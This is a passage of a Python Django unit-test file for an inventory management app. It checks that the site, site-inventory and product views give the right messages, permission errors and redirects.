self.client.post(reverse('ims:site_delete'), postData, follow = False) self.assertEqual(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete sites', resultError, 'IMS site_delete view didn''t generate the correct error with incorrect user permissions.\nactual message = %s' % resultError) def test_site_delete_post_cancel(self): print 'running SiteDeleteViewTests.test_site_delete_post_cancel... ' perms = [ 'delete_site', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() postData = {'Cancel':'Cancel', 'sites':[site.number,]} response = self.client.post(reverse('ims:site_delete'), postData, follow = False) self.assertRedirects(response, reverse('ims:sites') + '?' + urlencode({'page':1, 'pageSize':1,}), status_code = 302, target_status_code = 200) class SiteAddViewTests(TestCase): """ ims_tests for site_add view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_site_add_get(self): print 'running SiteAddViewTests.test_site_add_get... ' perms = ['add_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') response = self.client.get(reverse('ims:site_add')) self.assertEquals(response.status_code, 200) def test_site_add_get_without_add_site_perm(self): print 'running SiteAddViewTests.test_site_add_get_without_add_site_perm... ' self.client.login(username='testUser', password='12345678') request = self.factory.get(reverse('ims:site_add'), follow = False) request.user = self.user add_session_to_request(request) response = site_add(request) response.client = self.client resultError = request.session['errorMessage'] self.assertIn('You don''t have permission to add sites', resultError, 'IMS site_add view didn''t generate the correct error when an unauthorized user tried to add.\nactual message = %s' % resultError) self.assertRedirects(response, reverse('ims:sites',) + '?' + urlencode({'page':1,}), status_code = 302, target_status_code = 200) def test_site_add_post(self): print 'running SiteAddViewTests.test_site_add_post... ' perms = ['add_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'name': 'test site', 'county': '', 'address1': '11 main st.', 'contactName' : 'John Smith', 'contactPhone' : '555-1212', 'modifier' : self.user.username, 'Save': 'Save', } request = self.factory.post(reverse('ims:site_add'), postData, follow = False) request.user = self.user add_session_to_request(request) response = site_add(request) self.assertEqual(Site.objects.count(), 1) site = Site.objects.all()[0] resultInfo = request.session['infoMessage'] self.assertIn('Successfully added site', resultInfo, 'IMS site_add view didn''t generate the correct info when saving.\nactual message = %s' % resultInfo) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,},), status_code = 302, target_status_code = 200) def test_site_add_post_no_change(self): print 'running SiteAddViewTests.test_site_add_post_no_change... ' perms = ['add_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'Save':'Save'} response = self.client.post(reverse('ims:site_add'), postData, follow = False) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('More information required before site can be added', resultWarning, 'IMS site_add view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_site_add_post_without_add_site_perm(self): print 'running SiteAddViewTests.test_site_add_post_without_add_site_perm... ' self.client.login(username='testUser', password='12345678') postData = {'name': 'test site', 'county': '', 'address1': '11 main st.', 'contactName' : 'John Smith', 'contactPhone' : '555-1212', 'modifier' : self.user.username, 'Save': 'Save', } request = self.factory.post(reverse('ims:site_add'), postData, follow = False) request.user = self.user add_session_to_request(request) response = site_add(request) resultInfo = request.session['errorMessage'] self.assertIn('You don''t have permission to add sites', resultInfo, 'IMS site_add view didn''t generate the correct error when saving.\nactual message = %s' % resultInfo) response.client = self.client self.assertRedirects(response, reverse('ims:sites',) + '?' + urlencode({'page':1,}), status_code = 302, target_status_code = 200) class SiteDetailViewTests(TestCase): """ ims_tests for site_detail view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_site_detail_get(self): print 'running SiteDetailViewTests.test_site_detail_get... ' self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() response=self.client.get(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), follow=False) self.assertEqual(response.status_code, 200) def test_site_detail_get_with_invalid_site(self): print 'running SiteDetailViewTests.test_site_detail_get_with_invalid_site... ' self.client.login(username='testUser', password='12345678') siteId = 1 request=self.factory.get(reverse('ims:site_detail', kwargs = {'siteId':siteId,}), follow=False) request.user = self.user add_session_to_request(request) response = site_detail(request, siteId = siteId) resultError = request.session['errorMessage'] self.assertIn('Site %d does not exist' % siteId, resultError, 'IMS site detail view didn''t generate the correct error when an invalid site was requested.\nactual message = %s' % resultError) response.client = self.client self.assertRedirects(response, reverse('ims:sites',) + '?' + urlencode({'page':1,}), status_code = 302, target_status_code = 200) def test_site_detail_get_with_filter(self): print 'running SiteDetailViewTests.test_site_detail_get_with_filter... ' self.client.login(username='testUser', password='12345678') (createdSites, __, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=2, numItems=1) site = createdSites[0] response=self.client.get(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}) + '?searchField=information__name&searchValue=test product 1', follow=False) self.assertEqual(response.status_code, 200) def test_site_detail_get_with_bad_inventory_filter(self): print 'running SiteDetailViewTests.test_site_detail_get_with_bad_inventory_filter... ' self.client.login(username='testUser', password='12345678') (createdSites, __, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=2, numItems=1) site = createdSites[0] request=self.factory.get(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}) + '?searchField=information__name&searchValue=blah', follow=False) request.user = self.user add_session_to_request(request) response = site_detail(request, siteId = site.pk) resultWarning = request.session['warningMessage'] self.assertIn('No inventory found using filter criteria.<br/>Showing all inventory.', resultWarning, 'IMS site detail view didn''t generate the correct error with a bad inventory filter.\nactual message = %s' % resultWarning) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs = {'siteId':site.pk,}) + '?' + urlencode({'page':1,}), status_code = 302, target_status_code = 200) def test_site_detail_post_save_site(self): print 'running SiteDetailViewTests.test_site_detail_post_save_site... ' self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() perms = ['change_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'name': 'test site', 'county': '', 'address1': '11 main st.', 'contactName' : 'John Smith', 'contactPhone' : '555-1212', 'modifier' : self.user.username, 'Save Site': 'Save Site', } request=self.factory.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) request.user = self.user add_session_to_request(request) response = site_detail(request, siteId = site.pk) resultInfo = request.session['infoMessage'] self.assertIn('Successfully changed site information', resultInfo, 'IMS site detail view didn''t generate the correct info.\nactual message = %s' % resultInfo) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,},) + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE, 'adjust':'False'}), 302, 200) def test_site_detail_post_save_site_invalid_fields(self): print 'running SiteDetailViewTests.test_site_detail_post_save_site_invalid_fields... ' self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() perms = ['change_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'Save Site': 'Save Site', } response=self.client.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('More information required before the site can be saved', resultWarning, 'IMS site detail view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_site_detail_post_save_site_no_change(self): print 'running SiteDetailViewTests.test_site_detail_post_save_site_no_change... ' self.client.login(username='testUser', password='12345678') site = Site(name = 'test site', county = '', address1 = '11 main st.', contactName = 'John Smith', contactPhone = '555-1212', modifier = self.user.username,) site.save() perms = ['change_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'name': 'test site', 'county': '', 'address1': '11 main st.', 'contactName' : 'John Smith', 'contactPhone' : '555-1212', 'modifier' : self.user.username, 'Save Site': 'Save Site', } response=self.client.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No changes made to the site information', resultWarning, 'IMS site detail view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_site_detail_post_save_site_without_change_site_perm(self): print 'running SiteDetailViewTests.test_site_detail_post_save_site_without_change_site_perm... ' self.client.login(username='testUser', password='12345678') site = Site(name = 'test site',) site.save() self.client.login(username='testUser', password='12345678') postData = {'name': 'test site', 'county': '', 'address1': '11 main st.', 'contactName' : 'John Smith', 'contactPhone' : '555-1212', 'modifier' : self.user.username, 'Save Site': 'Save Site', } response=self.client.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) self.assertEqual(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to change site information', resultError, 'IMS site detail view didn''t generate the correct error.\nactual message = %s' % resultError) def test_site_detail_post_save_adjust_changes_quantity(self): print 'running SiteDetailViewTests.test_site_detail_post_save_adjust_changes_quantity... ' (createdSites, createdProducts, createdInventory, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] product = createdProducts[0] inventory = createdInventory[0] perms = ['change_inventoryitem', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') newQuantity = 5 postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-id':[inventory.pk], 'form-0-site':[site.pk], 'form-0-information':[product.pk], 'form-0-quantity':[newQuantity], 'Save Adjust Changes':'Save Adjust Changes',} request=self.factory.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) request.user = self.user add_session_to_request(request) response = site_detail(request, siteId = site.pk) resultInfo = request.session['infoMessage'] self.assertIn('Successfully changed site inventory', resultInfo, 'IMS site detail view didn''t generate the correct info.\nactual message = %s' % resultInfo) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,},) + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE, 'adjust':'True'}), 302, 200) newInventory = site.latest_inventory_for_product(code = product.pk) self.assertEqual(newInventory.quantity, 5, 'site_detail view didn''t show the correct inventory quantity after changing to %d\n Quantity = %d' % (newQuantity, newInventory.quantity)) def test_site_detail_post_save_adjust_changes_delete(self): print 'running SiteDetailViewTests.test_site_detail_post_save_adjust_changes... ' (createdSites, createdProducts, createdInventory, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=2, numItems=1) site = createdSites[0] numInventory = site.latest_inventory().count() self.assertEqual(numInventory, 2, 'site_detail view didn''t show the correct inventory after adding 2. Quantity = %d' % numInventory) perms = ['change_inventoryitem', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': [len(createdProducts)], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'Save Adjust Changes':'Save Adjust Changes',} addItemDict = {} deleteIndex = 1 for index in range(len(createdInventory)): addItemDict['form-%d-id' % index] = createdInventory[index].pk addItemDict['form-%d-site' % index] = createdInventory[index].site.pk addItemDict['form-%d-quantity' % index] = createdInventory[index].quantity addItemDict['form-%d-information' % index] = createdInventory[index].information.pk if index == deleteIndex: addItemDict['form-%d-deleteItem' % index] = 'on' postData.update(addItemDict) request=self.factory.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) request.user = self.user add_session_to_request(request) response = site_detail(request, siteId = site.pk) resultInfo = request.session['infoMessage'] self.assertIn('Successfully changed site inventory', resultInfo, 'IMS site detail view didn''t generate the correct info.\nactual message = %s' % resultInfo) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,},) + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE, 'adjust':'True'}), 302, 200) numInventory = site.latest_inventory().count() self.assertEqual(numInventory, 1, 'site_detail view didn''t show the correct inventory after deleting 1. Quantity = %d' % numInventory) def test_site_detail_post_save_adjust_changes_without_change_inventoryitem_perm(self): print 'running SiteDetailViewTests.test_site_detail_post_save_adjust_changes_without_change_inventoryitem_perm... ' (createdSites, createdProducts, createdInventory, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] product = createdProducts[0] inventory = createdInventory[0] perms = ['delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') newQuantity = 5 postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-id':[inventory.pk], 'form-0-site':[site.pk], 'form-0-information':[product.pk], 'form-0-quantity':[newQuantity], 'Save Adjust Changes':'Save Adjust Changes',} response=self.client.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to change or delete inventory', resultError, 'IMS site detail view didn''t generate the correct error.\nactual message = %s' % resultError) def test_site_detail_post_save_adjust_changes_without_delete_inventoryitem_perm(self): print 'running SiteDetailViewTests.test_site_detail_post_save_adjust_changes_without_delete_inventoryitem_perm... ' (createdSites, createdProducts, createdInventory, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] product = createdProducts[0] inventory = createdInventory[0] perms = ['delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') newQuantity = 5 postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-id':[inventory.pk], 'form-0-site':[site.pk], 'form-0-information':[product.pk], 'form-0-quantity':[newQuantity], 'Save Adjust Changes':'Save Adjust Changes',} response=self.client.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to change or delete inventory', resultError, 'IMS site detail view didn''t generate the correct error.\nactual message = %s' % resultError) def test_site_detail_post_save_add_subtract_changes_quantity(self): print 'running SiteDetailViewTests.test_site_detail_post_save_add_subtract_changes_quantity... ' (createdSites, createdProducts, createdInventory, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] product = createdProducts[0] inventory = createdInventory[0] perms = ['change_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') quantityAdd = 5 postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-id':[inventory.pk], 'form-0-site':[site.pk], 'form-0-information':[product.pk], 'form-0-addSubtract':[quantityAdd], 'Save Add Subtract Changes':'Save Add Subtract Changes',} request=self.factory.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) request.user = self.user add_session_to_request(request) response = site_detail(request, siteId = site.pk) resultInfo = request.session['infoMessage'] self.assertIn('Successfully changed site inventory', resultInfo, 'IMS site detail view didn''t generate the correct info.\nactual message = %s' % resultInfo) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,},) + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE, 'adjust':'False'}), 302, 200) newInventory = site.latest_inventory_for_product(code = product.pk) self.assertEqual(newInventory.quantity, 1 + quantityAdd, 'site_detail view didn''t show the correct inventory quantity after changing to %d\n Quantity = %d' % (1 + quantityAdd, newInventory.quantity)) def test_site_detail_post_save_add_subtract_changes_without_change_inventoryitem_perm(self): print 'running SiteDetailViewTests.test_site_detail_post_save_add_subtract_changes_without_change_inventoryitem_perm... ' (createdSites, createdProducts, createdInventory, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] product = createdProducts[0] inventory = createdInventory[0] self.client.login(username='testUser', password='12345678') quantityAdd = 5 postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-id':[inventory.pk], 'form-0-site':[site.pk], 'form-0-information':[product.pk], 'form-0-addSubtract':[quantityAdd], 'Save Add Subtract Changes':'Save Add Subtract Changes',} response=self.client.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to change inventory', resultError, 'IMS site detail view didn''t generate the correct error.\nactual message = %s' % resultError) def test_site_detail_post_add_new_inventory(self): print 'running SiteDetailViewTests.test_site_detail_post_add_new_inventory... ' site = Site(name = 'test site') site.save() product = ProductInformation(name = 'test product', code= 'D11',) product.save() perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'Add New Inventory':'Add New Inventory',} response=self.client.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) self.assertRedirects(response, reverse('ims:site_add_inventory',kwargs={'siteId':site.pk}), 302, 200) def test_site_detail_post_add_new_inventory_without_add_inventory_perm(self): print 'running SiteDetailViewTests.test_site_detail_post_add_new_inventory_without_change_inventory_perm... ' site = Site(name = 'test site') site.save() self.client.login(username='testUser', password='12345678') postData = {'Add New Inventory':'Add New Inventory',} response=self.client.post(reverse('ims:site_detail', kwargs = {'siteId':site.pk,}), postData, follow=False) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to add inventory', resultError, 'IMS site detail view didn''t generate the correct error.\nactual message = %s' % resultError) class SiteAddInventoryViewTests(TestCase): """ ims_tests for site_add_inventory view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_site_add_inventory_get(self): print 'running SiteAddInventoryViewTests.test_site_add_inventory_get... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site',) site.save() product = ProductInformation(name = 'test product', code = 'D11') product.save() response=self.client.get(reverse('ims:site_add_inventory', kwargs = {'siteId':site.pk,}), follow=False) self.assertEqual(response.status_code, 200) def test_site_add_inventory_get_without_add_inventoryitem_perm(self): print 'running SiteAddInventoryViewTests.test_site_add_inventory_get_without_add_inventoryitem_perm... ' self.client.login(username='testUser', password='12345678') site = Site(name = 'test site',) site.save() product = ProductInformation(name = 'test product', code = 'D11') product.save() response=self.client.get(reverse('ims:site_add_inventory', kwargs = {'siteId':site.pk,}), follow=False) self.assertEqual(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to add site inventory', resultError, 'IMS site_add_inventory view didn''t generate the correct error.\nactual message = %s' % resultError) def test_site_add_inventory_with_invalid_site(self): print 'running SiteAddInventoryViewTests.test_site_add_inventory_with_invalid_site... ' self.client.login(username='testUser', password='12345678') siteId = 1 request = self.factory.get(reverse('ims:site_add_inventory', kwargs = {'siteId':siteId,}), follow=False) request.user = self.user add_session_to_request(request) response = site_add_inventory(request, siteId = siteId) resultError = request.session['errorMessage'] self.assertIn('Site %d does not exist' % siteId, resultError, 'IMS site_add_inventory view didn''t generate the correct error when an invalid site was requested.\nactual message = %s' % resultError) response.client = self.client self.assertRedirects(response, reverse('ims:sites'), 302, 200) def test_site_add_inventory_with_no_products(self): print 'running SiteAddInventoryViewTests.test_site_add_inventory_with_no_products... ' self.client.login(username='testUser', password='12345678') site = Site(name = 'test site',) site.save() request = self.factory.get(reverse('ims:site_add_inventory', kwargs = {'siteId':site.pk,}), follow=False) request.user = self.user add_session_to_request(request) response = site_add_inventory(request, siteId = site.pk) resultWarning = request.session['warningMessage'] self.assertIn('No products found to add', resultWarning, 'IMS site_add_inventory view didn''t generate the correct warning.\nactual message = %s' % resultWarning) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs = {'siteId':site.pk}), 302, 200) def test_site_add_inventory_post(self): print 'running SiteAddInventoryViewTests.test_site_add_inventory_post... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site',) site.save() product = ProductInformation(name = 'test product', code = 'D11') product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-code':[product.pk], 'form-0-Add':['on'], 'Add Products':'Add Products',} response=self.client.post(reverse('ims:site_add_inventory', kwargs = {'siteId':site.pk,}), postData, follow=False) productsToAdd = '?code=D11&' self.assertRedirects(response, reverse('ims:products_add_to_site_inventory', kwargs = {'siteId': site.pk}) + productsToAdd, 302, 200) def test_site_add_inventory_post_no_products(self): print 'running SiteAddInventoryViewTests.test_site_add_inventory_post_no_products... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site',) site.save() product = ProductInformation(name = 'test product', code = 'D11') product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-code':[product.pk], 'Add Products':'Add Products',} response=self.client.post(reverse('ims:site_add_inventory', kwargs = {'siteId':site.pk,}), postData, follow=False) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No products selected to add', resultWarning, 'IMS site_add_inventory didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_site_add_inventory_post_without_add_inventoryitem_perm(self): print 'running SiteAddInventoryViewTests.test_site_add_inventory_post_without_add_inventoryitem_perm... ' self.client.login(username='testUser', password='12345678') site = Site(name = 'test site',) site.save() product = ProductInformation(name = 'test product', code = 'D11') product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-code':[product.pk], 'form-0-Add':['on'], 'Add Products':'Add Products',} response=self.client.post(reverse('ims:site_add_inventory', kwargs = {'siteId':site.pk,}), postData, follow=False) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to add site inventory', resultError, 'IMS site_add_inventory didn''t generate the correct error.\nactual message = %s' % resultError) class ProductsViewTests(TestCase): """ ims_tests for products view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_products_get_with_no_products(self): print 'running ProductsViewTests.test_products_get_with_no_products... ' self.client.login(username='testUser', password='12345678') response=self.client.get(reverse('ims:products'), follow=True) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No products found', 'IMS products view didn''t generate the correct warning when no products were found.\nactual message = %s' % resultWarning) def test_products_get_with_filter_and_no_products(self): print 'running ProductsViewTests.test_products_get_with_filter_and_no_products... ' self.client.login(username='testUser', password='12345678') response=self.client.get(reverse('ims:products',) + '?searchField=name&searchValue=blah', follow = False,) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No products found', 'IMS products view didn''t generate the correct warning when no products were found.\nactual message = %s' % resultWarning) def test_products_get_with_products(self): print 'running ProductsViewTests.test_products_get_with_products... ' self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name='test product', code = code) product.save() response=self.client.get(reverse('ims:products',), follow = False,) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertEqual('', resultWarning) def test_products_get_with_filter(self): print 'running ProductsViewTests.test_products_get_with_filter... ' self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name='test product', code = code) product.save() response=self.client.get(reverse('ims:products',) + '?searchField=name&searchValue=test', follow = False,) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertEqual('', resultWarning) def test_products_get_with_bad_filter(self): print 'running ProductsViewTests.test_products_get_with_bad_filter... ' self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name='test product', code = code) product.save() response=self.client.get(reverse('ims:products',) + '?searchField=name&searchValue=blah', follow = False,) self.assertRedirects(response, reverse('ims:products',) + '?page=1&pageSize=%d' % PAGE_SIZE, status_code = 302, target_status_code = 200) def test_products_post_add(self): print 'running ProductsViewTests.test_products_post_add... ' perms = ['add_productinformation'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['0'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['0'], 'Add':'Add',} response=self.client.post(reverse('ims:products',), postData, follow = False,) self.assertRedirects(response, reverse('ims:product_add',), status_code = 302, target_status_code = 200) def test_products_post_add_without_add_productinformation_perm(self): print 'running ProductsViewTests.test_products_post_add_without_add_productinformation_perm... ' self.client.login(username='testUser', password='12345678') postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['0'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['0'], 'Add':'Add',} response=self.client.post(reverse('ims:products',), postData, follow = False,) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to add new products', resultError, 'IMS products view didn''t generate the correct error when an unauthorized user tried to add.\nactual message = %s' % resultError) def test_products_post_delete(self): print 'running ProductsViewTests.test_products_post_delete... ' perms = ['delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') productName = 'test product' code = 'D11' product = ProductInformation(name = productName, code = code,) product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-code':[code], 'form-0-Delete':['on'], 'Delete':'Delete',} response=self.client.post(reverse('ims:products',), postData, follow = False,) self.assertRedirects(response, reverse('ims:product_delete',) + '?code=D11&', status_code = 302, target_status_code = 200) def test_products_post_delete_without_delete_inventoryitem_perms(self): print 'running ProductsViewTests.test_products_post_delete_without_delete_inventoryitem_perms... ' perms = ['delete_productinformation',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') productName = 'test product' code = 'D11' product = ProductInformation(name = productName, code = code,) product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-code':[code], 'form-0-Delete':['on'], 'Delete':'Delete',} response=self.client.post(reverse('ims:products',), postData, follow = False,) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete products', resultError, 'IMS products view didn''t generate the correct error when an unauthorized user tried to add.\nactual message = %s' % resultError) def test_products_post_delete_without_delete_productinformation_perms(self): print 'running ProductsViewTests.test_products_post_delete_without_delete_productinformation_perms... ' perms = ['delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') productName = 'test product' code = 'D11' product = ProductInformation(name = productName, code = code,) product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-code':[code], 'form-0-Delete':['on'], 'Delete':'Delete',} response=self.client.post(reverse('ims:products',), postData, follow = False,) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete products', resultError, 'IMS products view didn''t generate the correct error when an unauthorized user tried to add.\nactual message = %s' % resultError) class ProductAddViewTests(TestCase): """ ims_tests for product_add view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_product_add_get(self): print 'running ProductAddViewTests.test_product_add_get... ' perms = ['add_productinformation'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') response = self.client.get(reverse('ims:product_add')) self.assertEquals(response.status_code, 200) def test_product_add_get_without_add_productinformation_perm(self): print 'running ProductAddViewTests.test_product_add_get_without_add_productinformation_perm... ' self.client.login(username='testUser', password='12345678') request = self.factory.get(reverse('ims:product_add'), follow = False) request.user = self.user add_session_to_request(request) response = product_add(request) response.client = self.client resultError = request.session['errorMessage'] self.assertIn('You don''t have permission to add new products', resultError, 'IMS product_add view didn''t generate the correct error when an unauthorized user tried to add.\nactual message = %s' % resultError) 